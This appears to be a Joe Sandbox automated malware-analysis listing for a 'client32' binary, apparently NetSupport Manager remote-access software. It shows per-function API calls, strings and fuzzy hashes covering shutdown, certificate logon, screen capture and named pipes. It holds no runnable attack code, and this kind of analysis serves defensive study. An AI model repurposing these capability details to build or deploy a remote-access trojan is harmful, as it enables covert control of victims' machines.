Opcode Fuzzy Hash: d239cf37228d0bcf3c2e9fcb1ed9174d39baad8ddbae7f420c202b4e7d79ce9b
Instruction Fuzzy Hash: 9622A5B5A40719AFE714DFB4CC85FEAF7B9BB48308F0045A9E16A97680DB74A940CF50

Function 1102D330 Relevance: 70.6, APIs: 21, Strings: 19, Instructions: 575sleepfileshutdownCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(111ED4B8), ref: 1102D382
Sleep.KERNEL32(0000EA60), ref: 1102D3A5

Part of subcall function 11026F20: PostThreadMessageA.USER32(00000000,00000501,1102D590,00000000), ref: 11026F72
Part of subcall function 11026F20: Sleep.KERNEL32(00000032,?,1102D590,00000001), ref: 11026F76
Part of subcall function 11026F20: PostThreadMessageA.USER32(00000000,00000012,00000000,00000000), ref: 11026F97
Part of subcall function 11026F20: WaitForSingleObject.KERNEL32(00000000,00000032,?,1102D590,00000001), ref: 11026FA2
Part of subcall function 11026F20: CloseHandle.KERNEL32(00000000,1102E392,?,1102D590,00000001), ref: 11026FB4
Part of subcall function 11026F20: FreeLibrary.KERNEL32(00000000,00000000,00000000,1102E392,?,1102D590,00000001), ref: 11026FE1

GetCurrentProcess.KERNEL32(00000020,00000000,00000000), ref: 1102D3AB
SetPriorityClass.KERNEL32(00000000), ref: 1102D3B2
SetEvent.KERNEL32(00000270), ref: 1102D3E7
Sleep.KERNEL32(000007D0), ref: 1102D4D8
PostThreadMessageA.USER32(00001CF4,00000000,00000000,00000000), ref: 1102D5BC
CloseHandle.KERNEL32(0000029C), ref: 1102D815
_free.LIBCMT ref: 1102D825
_free.LIBCMT ref: 1102D841
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1102D8D4
GetFileAttributesA.KERNEL32(?), ref: 1102D8E1
_memset.LIBCMT ref: 1102D983
FindFirstFileA.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 1102D99B
FindNextFileA.KERNEL32(00000000,00000010,?,?,?,00000000,00000000), ref: 1102D9C2
FindClose.KERNEL32(00000000,?,?,?,00000000,00000000), ref: 1102D9C9
ExitWindowsEx.USER32(00000002,00000000), ref: 1102DAB7
Sleep.KERNEL32(00002710), ref: 1102DABE
ExitWindowsEx.USER32(00000006,00000000), ref: 1102DAD4
Sleep.KERNEL32(000007D0), ref: 1102DAE0
ExitProcess.KERNEL32 ref: 1102DAF4

Strings

pSlash, xrefs: 1102D964
CLIENT32.CPP, xrefs: 1102D95F
Terminate Client32 (err=%d), xrefs: 1102D362
deleted ipc, xrefs: 1102D6B7
remove smartcard devices, xrefs: 1102D623
Error. Multiple Terminate. , xrefs: 1102D38C
Stop tracing, almost terminated, xrefs: 1102DA88
Unload Hook, xrefs: 1102D4DE
562258, xrefs: 1102D412
Error %s unloading audiocap dll, xrefs: 1102D896
Warning. Unprocessed notify NC_CMD, cmd=%d, xrefs: 1102D719
Termed, xrefs: 1102D690
*.*, xrefs: 1102D973
Audio, xrefs: 1102D50E
delete gMain.ev, xrefs: 1102D7E2
HookDirectSound, xrefs: 1102D509
Finished terminate, xrefs: 1102DAE6
TermUI..., xrefs: 1102D681
Warning. Unprocessed notify, type=%d, xrefs: 1102D721

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep$File$CloseExitFindMessagePostThread$HandleProcessWindows_free$AttributesClassCurrentEventFirstFreeIncrementInterlockedLibraryModuleNameNextObjectPrioritySingleWait_memset
String ID: *.*$562258$Audio$CLIENT32.CPP$Error %s unloading audiocap dll$Error. Multiple Terminate. $Finished terminate$HookDirectSound$Stop tracing, almost terminated$TermUI...$Termed$Terminate Client32 (err=%d)$Unload Hook$Warning. Unprocessed notify NC_CMD, cmd=%d$Warning. Unprocessed notify, type=%d$delete gMain.ev$deleted ipc$pSlash$remove smartcard devices
API String ID: 2369127096-1985248231
Opcode ID: add873a8ab015faf9889e95090e84e2001c1be1f53f7e8c1ad7b83b87d9131ad
Instruction ID: 7f46233fb5632011b045e2eff7fc4cb47a6b13c38cfe1b2a85386abe64dfbaee
Opcode Fuzzy Hash: add873a8ab015faf9889e95090e84e2001c1be1f53f7e8c1ad7b83b87d9131ad
Instruction Fuzzy Hash: D212F778E001229FDB16DFE8CCC4E6DF7A6AB8470CFA401A9E52557644EB71BD80CB52

Function 110AD570 Relevance: 65.2, APIs: 22, Strings: 15, Instructions: 402libraryloaderencryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 110AC830: LoadLibraryA.KERNEL32(Crypt32.dll,00000000,?,110AD605,59FD48C0,?,?,?,?,1118484B,000000FF,?,110F4601,00000000,00000000,?), ref: 110AC870
Part of subcall function 110AC830: GetProcAddress.KERNEL32(00000000,CertCreateCertificateContext), ref: 110AC88C
Part of subcall function 110AC830: GetProcAddress.KERNEL32(00000000,CertFreeCertificateContext), ref: 110AC899
Part of subcall function 110AC830: GetProcAddress.KERNEL32(?,CertGetNameStringA), ref: 110AC8A6
Part of subcall function 110AC830: GetProcAddress.KERNEL32(?,CertGetValidUsages), ref: 110AC8B3
Part of subcall function 110AC830: GetProcAddress.KERNEL32(00000000,CertOpenStore), ref: 110AC8C0
Part of subcall function 110AC830: GetProcAddress.KERNEL32(?,CertOpenSystemStoreA), ref: 110AC8CD
Part of subcall function 110AC830: GetProcAddress.KERNEL32(?,CertCloseStore), ref: 110AC8DA
Part of subcall function 110AC830: GetProcAddress.KERNEL32(00000000,CertAddCertificateContextToStore), ref: 110AC8E7
Part of subcall function 110AC830: GetProcAddress.KERNEL32(?,CertAddEncodedCertificateToStore), ref: 110AC8F4
Part of subcall function 110AC830: GetProcAddress.KERNEL32(?,CertSetCertificateContextProperty), ref: 110AC901
Part of subcall function 110AC830: GetProcAddress.KERNEL32(00000000,CertGetCertificateContextProperty), ref: 110AC90E
Part of subcall function 110AC830: GetProcAddress.KERNEL32(?,CryptAcquireCertificatePrivateKey), ref: 110AC91B
Part of subcall function 110AC830: GetProcAddress.KERNEL32(?,CertEnumCertificatesInStore), ref: 110AC928
Part of subcall function 110AC830: GetProcAddress.KERNEL32(00000000,CertGetEnhancedKeyUsage), ref: 110AC935

GetModuleHandleA.KERNEL32(Advapi32.dll,59FD48C0,?,?,?,?,1118484B,000000FF,?,110F4601,00000000,00000000,?,?,?,FFFFFFFF), ref: 110AD69E
GetProcAddress.KERNEL32(00000000,CredMarshalCredentialA), ref: 110AD6B0
GetProcAddress.KERNEL32(?,CredFree), ref: 110AD6C8
GetLastError.KERNEL32(?,110F4601,00000000,00000000,?,?,?,FFFFFFFF), ref: 110AD71C
CryptReleaseContext.ADVAPI32(?,00000000,59FD48C0,?,?,?,?,1118484B,000000FF,?,110F4601,00000000,00000000,?,?,?), ref: 110ADAC2
SetLastError.KERNEL32(00000057,59FD48C0,?,?,?,?,1118484B,000000FF,?,110F4601,00000000,00000000,?,?,?,FFFFFFFF), ref: 110ADB0C
FreeLibrary.KERNEL32(?,59FD48C0,?,?,?,?,1118484B,000000FF,?,110F4601,00000000,00000000,?,?,?,FFFFFFFF), ref: 110ADB1D

Strings

CertGetCertificateContextProperty (1) failed (%d), xrefs: 110AD934
\\.\%s\, xrefs: 110AD736
LogonUserWithCert - CredMarshalCredential FAILED (%d), xrefs: 110ADA60
LogonUserWithCert - Crypt32.dll NOT found!!!, xrefs: 110AD630
AttemptLogon FAILED [status: 0x%08x], xrefs: 110ADA3D
CredMarshalCredentialA, xrefs: 110AD6A4
LogonUserWithCert - Advapi32.dll does NOT provide required functionality!, xrefs: 110ADA6A
CertGetCertificateContextProperty (3) FAILED (%d), xrefs: 110AD9B6
CredFree, xrefs: 110AD6BC
LogonUserWithCert - Crypt32.dll does NOT provide required functionality!, xrefs: 110ADA7E
LogonUserWithCert FAILED (%d) , xrefs: 110ADAFA
Advapi32.dll, xrefs: 110AD699
CertAddCertificateContextToStore FAILED (%d), xrefs: 110AD8FC
CryptGetProvParam FAILED (%d), xrefs: 110AD864, 110AD8BB
CertGetCertificateContextProperty (2) FAILED (%d), xrefs: 110AD97B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLastLibrary$ContextCryptFreeHandleLoadModuleRelease
String ID: Advapi32.dll$AttemptLogon FAILED [status: 0x%08x]$CertAddCertificateContextToStore FAILED (%d)$CertGetCertificateContextProperty (1) failed (%d)$CertGetCertificateContextProperty (2) FAILED (%d)$CertGetCertificateContextProperty (3) FAILED (%d)$CredFree$CredMarshalCredentialA$CryptGetProvParam FAILED (%d)$LogonUserWithCert - Advapi32.dll does NOT provide required functionality!$LogonUserWithCert - CredMarshalCredential FAILED (%d)$LogonUserWithCert - Crypt32.dll NOT found!!!$LogonUserWithCert - Crypt32.dll does NOT provide required functionality!$LogonUserWithCert FAILED (%d) $\\.\%s\
API String ID: 455412317-1640292549
Opcode ID: 0a3a4b21b94d378845317c105dbd61d75b4cf44ee77677e94ff4052ff1f6a984
Instruction ID: 97a68900379f189f4888b360d1aa769602a48b8a546b4f3faf74fcf061f0f1c6
Opcode Fuzzy Hash: 0a3a4b21b94d378845317c105dbd61d75b4cf44ee77677e94ff4052ff1f6a984
Instruction Fuzzy Hash: 8CE182B9D0416AAFDB20DFA0DC94AEEB7B8AB08758F0445E9F519A3250D7305F84CF61

Function 11113290 Relevance: 44.0, APIs: 29, Instructions: 470windowsleepkeyboardCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 111132BA
GetTickCount.KERNEL32 ref: 1111332E
CreateRectRgn.GDI32(00000000,?,?,?), ref: 11113352
GetClientRect.USER32(?,?), ref: 11113402
SetStretchBltMode.GDI32(?,00000004), ref: 11113534
CreateRectRgn.GDI32(?,?,?,?), ref: 1111358F
GetClipRgn.GDI32(?,00000000), ref: 111135A3
OffsetRgn.GDI32(00000000,00000000,00000000), ref: 111135C8
GetRgnBox.GDI32(00000000,?), ref: 111135D3
SelectClipRgn.GDI32(?,00000000), ref: 111135E1
StretchBlt.GDI32(?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1111366B
SelectClipRgn.GDI32(?,00000000), ref: 1111367A
DeleteObject.GDI32(?), ref: 11113684
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00CC0020), ref: 111136C2
GetWindowOrgEx.GDI32(?,?), ref: 111136D7
StretchBlt.GDI32(?,?,?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 1111371C
GetKeyState.USER32(000000A3), ref: 11113747
CreatePen.GDI32(00000000,00000001,000000FF), ref: 1111378B
CreatePen.GDI32(00000000,00000001,00FFFFFF), ref: 1111379D
SelectObject.GDI32(00000000,?), ref: 111137B1
Polyline.GDI32(00000000,?,00000005), ref: 111137C7
Sleep.KERNEL32(00000032), ref: 111137CF
SelectObject.GDI32(00000000,?), ref: 111137E0
Polyline.GDI32(00000000,?,00000005), ref: 111137F3
Sleep.KERNEL32(00000032), ref: 111137FB
SelectObject.GDI32(00000000,?), ref: 1111380C
DeleteObject.GDI32(?), ref: 11113816
DeleteObject.GDI32(?), ref: 11113820
BitBlt.GDI32(00000000,00000000,00000000,00004000,?,?,00000000,00000000,00CC0020), ref: 11113845

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Select$CreateStretch$ClipDeleteRect$PolylineSleep$ClientCountIconicModeOffsetStateTickWindow
String ID:
API String ID: 879653699-0
Opcode ID: d401745ce30a04a168751c86834ada46f257f5b09613656bfb34517905d94607
Instruction ID: 189fb298e01def9bf465b0ce988e90e2b94731e78913cb033f8d66d61a6768cc
Opcode Fuzzy Hash: d401745ce30a04a168751c86834ada46f257f5b09613656bfb34517905d94607
Instruction Fuzzy Hash: E112F7B1A147099FDB14CFB8C984AAEF7F9EF88315F10452DE55A9B258DB70A841CF10

Function 110254A0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 384windowtimeCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 11025637
DrawMenuBar.USER32(?), ref: 1102564E
GetMenu.USER32(?), ref: 110256A3
DeleteMenu.USER32(00000000,00000001,00000400), ref: 110256B1
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 1102560E

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

UpdateWindow.USER32(?), ref: 110256F7
IsIconic.USER32(?), ref: 1102570A
SetTimer.USER32(00000000,00000000,000003E8,00000000), ref: 1102572A
KillTimer.USER32(00000000,00000000,00000080,00000002), ref: 11025790

Strings

Chat, xrefs: 110254C8
..\ctl32\chatw.cpp, xrefs: 110254FA
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110256E1
m_hWnd, xrefs: 110256E6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$TimerWindow$DeleteDrawErrorExitIconicKillLastMessageProcessUpdatewsprintf
String ID: ..\ctl32\chatw.cpp$Chat$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3085788722-363603473
Opcode ID: f15b31b09d6730742c8f3530f633c1eaf3e2e501aa0880703a951233f58358ed
Instruction ID: f097ee6c6ab1d2536d1fd0b1bb7039a4e68c359c164a3241977e36a4c1c69446
Opcode Fuzzy Hash: f15b31b09d6730742c8f3530f633c1eaf3e2e501aa0880703a951233f58358ed
Instruction Fuzzy Hash: 5DD19F74B40701ABE714DBA4CC95FAEB3E5AB88708F104518F6169F3C1DAB1F941CB95

Function 1103B160 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 196fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHFOLDER(00000000,00000005,00000000,00000000,?), ref: 1103B1B2
GetUserNameA.ADVAPI32(?,?), ref: 1103B1D9

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

DeleteFileA.KERNEL32(?), ref: 1103B23A
_sprintf.LIBCMT ref: 1103B2BB
_fputs.LIBCMT ref: 1103B330
GetFileAttributesA.KERNEL32(?), ref: 1103B3A1
_free.LIBCMT ref: 1103B336

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

SetFileAttributesA.KERNEL32(?,00000000), ref: 1103B3DF

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

Strings

P, xrefs: 1103B1CF
%05d, xrefs: 1103B2B1
\Rewards.bin, xrefs: 1103B1F1
IsA(), xrefs: 1103B226, 1103B25E, 1103B38D, 1103B3C7
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103B221, 1103B259, 1103B388, 1103B3C2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$AttributesExitProcess$DeleteErrorFolderLastMessageNamePathUser__strdup_fputs_free_sprintf_strrchrwsprintf
String ID: %05d$IsA()$P$\Rewards.bin$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 383231468-3762817415
Opcode ID: 2af526d8f5190e790c0ca9edbbc40dfe78f9b0864dccbff27541257fc5a2cfb5
Instruction ID: bb1b01960f0c7610cbc3075388277e5ec166904b02cd10daef8a33cd2ba906d0
Opcode Fuzzy Hash: 2af526d8f5190e790c0ca9edbbc40dfe78f9b0864dccbff27541257fc5a2cfb5
Instruction Fuzzy Hash: 7A71A235D4462AAFDB15CB64CC54FEEB3B4AF54308F0442D8E819A7284EB71AA44CFA0

Function 110CB2B0 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 168windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000,?), ref: 110CB339
IsIconic.USER32(00000001), ref: 110CB349
GetClientRect.USER32(00000001,?), ref: 110CB358
GetSystemMetrics.USER32(00000000), ref: 110CB36D
GetSystemMetrics.USER32(00000001), ref: 110CB374
IsIconic.USER32(00000001), ref: 110CB3A4
GetWindowRect.USER32(00000001,?), ref: 110CB3B3
SetWindowPos.USER32(?,00000000,?,11185BBB,00000000,00000000,0000001D,00000000,?,00000001,?,00000002,?,?), ref: 110CB467

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

m_eh, xrefs: 110CB2FE
..\ctl32\nsmdlg.cpp, xrefs: 110CB2F9
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CB31F, 110CB447
m_hWnd, xrefs: 110CB324, 110CB44C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: RectWindow$IconicMetricsSystem$ClientErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\nsmdlg.cpp$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_eh$m_hWnd
API String ID: 2655531791-1552842965
Opcode ID: 336b00d43c8ecb03fd1d32f6a3e6328df4ddd987a58dd775271b0821d673290e
Instruction ID: 7d040125c55bf73af4456014bc99c48d8e10f47c0045797434645e7542fd0d49
Opcode Fuzzy Hash: 336b00d43c8ecb03fd1d32f6a3e6328df4ddd987a58dd775271b0821d673290e
Instruction Fuzzy Hash: 2C51C175E0061AAFCB10CFA4CC84FEEB7F8FB48754F0481A9E915A7280EA74A940CF50

Function 110F33F0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 79pipesleepmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014,?,00000000), ref: 110F33FC
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 110F3425
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 110F3432
CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,?,?,000003E8,?), ref: 110F3463
GetLastError.KERNEL32 ref: 110F3470
Sleep.KERNEL32(000003E8), ref: 110F348F
CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,00000001,?,000003E8,0000000C), ref: 110F34AE
LocalFree.KERNEL32(?), ref: 110F34BF

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 110F3410
CreateNamedPipe %s failed, error %d, xrefs: 110F3478
pSD, xrefs: 110F3415

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

